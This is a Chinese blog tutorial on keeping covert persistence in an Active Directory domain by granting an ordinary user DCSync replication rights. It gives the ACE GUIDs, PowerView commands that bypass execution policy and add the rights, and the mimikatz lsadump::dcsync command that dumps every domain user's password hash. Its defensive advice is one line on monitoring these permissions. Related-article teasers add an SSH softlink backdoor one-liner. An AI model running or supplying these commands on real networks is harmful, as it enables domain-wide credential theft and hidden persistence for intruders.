赋予域内普通用户dcsync权限来变向权限维持

电玩女神 2022-12-30 13:33 161阅读 0赞

### 文章目录 ###

*  前言
 *  利用过程
 *  防御方法

# 前言 #

DCsync是几个权限的集合体，如果普通用户想具有DCsync权限，可以给对象添加以下三条ACE：

DS-Replication-Get-Changes，对应GUID为：1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-All，对应GUID为：1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

DS-Replication-Get-Changes-In-Filtered-Set，对应GUID为：89e95b76-444d-4c62-991a-0facbeda640c

# 利用过程 #

powerview

Set-ExecutionPolicy Bypass -Scope Process
    . .\PowerView.ps1
    Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose

使用mimikatz在低权限主机上读取域内其他用户的密码

privilege::Debug #可以不用这一句
    lsadump::dcsync /all /csv

结果如下，在低权限的zhangsan主机上可以使用mimikatz读取域内所有用户的hash：  
![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]

删除账号dcsync权限：

Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity zhangsan -Rights DCSync -Verbose

# 防御方法 #

监控前面讲述的几个权限的分配情况。

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQxODc0OTMw_size_16_color_FFFFFF_t_70]: /images/20221120/88a212c3db1c4a48a7f946813ff31cd0.png

发表评论取消回复

表情：

评论列表（有 0 条评论，161人围观）

还没有评论，来说两句吧...

相关阅读

相关利用机器账户进行域权限维持

0x00 前言机器帐户被许多技术用于权限提升和横向移动，但也有通过机器帐户建立域权限持久性的情况。这涉及将任意机器帐户添加到特权组(例如域管理员组)或修改机器帐户的 u

待我称王封你为后i/ 2024年04月06日 09:50/ 0 赞/ 79 阅读

相关 Linux权限维持

SSH 后门软链接sshd 目标主机建立软连接： ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=1189 \端口可以任

川长思鸟来/ 2024年02月27日 04:23/ 0 赞/ 52 阅读

相关域环境权限维持

PTT PASS The Ticket（票据传递） Kerberos认证 Client: Application Client 应用客户端 KDC(Key Di

╰+攻爆jí腚メ/ 2024年02月24日 08:14/ 0 赞/ 72 阅读

相关 mysql给用户赋予权限

如何设置mysql的权限为所有的用户权限这个设置只要进入Linux系统的超级用户状态\下面，即可以使用chmod命令对MySQL数据库系统下面的所有文件进行权限设置。具

本是古典何须时尚/ 2023年09月25日 09:22/ 0 赞/ 47 阅读

相关赋予域内普通用户dcsync权限来变向权限维持

文章目录前言利用过程防御方法前言 DCsync是几个权限的集合体，如果普通用户想具有DCsync权限，可以给对象添加以下三条ACE：

电玩女神/ 2022年12月30日 13:33/ 0 赞/ 162 阅读

相关普通用户赋予sudo权限&忘记用户密码

普通用户用sudo执行命令 Ubuntu下普通用户用sudo执行命令时报”xxx is not in the sudoers file.This incident wil

ゝ一世哀愁。/ 2022年07月08日 16:55/ 0 赞/ 1205 阅读

相关 linux下赋予普通用户管理员权限

LINUX下赋予普通用户管理员权限：查找/etc/passwd文件 vi/etc/passwd 找到需要更改权限的用户名，如haohao:x:500:500::/

朱雀/ 2022年06月10日 11:45/ 0 赞/ 320 阅读

相关 MySQL创建普通用户并赋予权限

打开cmd，切换至 E:\\xampp\\mysql\\bin，用 root 账户连接MySQL服务器： mysql -uroot -p -P3306 首先，创建新

桃扇骨/ 2022年05月31日 12:43/ 0 赞/ 528 阅读

相关【AD】取消普通域用户帐号加域权限&授权特定普通域用户加域权 .

[【AD】取消普通域用户帐号加域权限&授权特定普通域用户加域权 ...][AD_ ...] \[复制链接\] 发表于 2015-11-13 13:04 | 来自

一时失言乱红尘/ 2022年01月16日 09:17/ 0 赞/ 910 阅读

相关 win10用户赋予管理员权限

[https://jingyan.baidu.c][https_jingyan.baidu.c] ![watermark_type_ZmFuZ3poZW5naGVpdG

冷不防/ 2021年09月17日 22:26/ 0 赞/ 462 阅读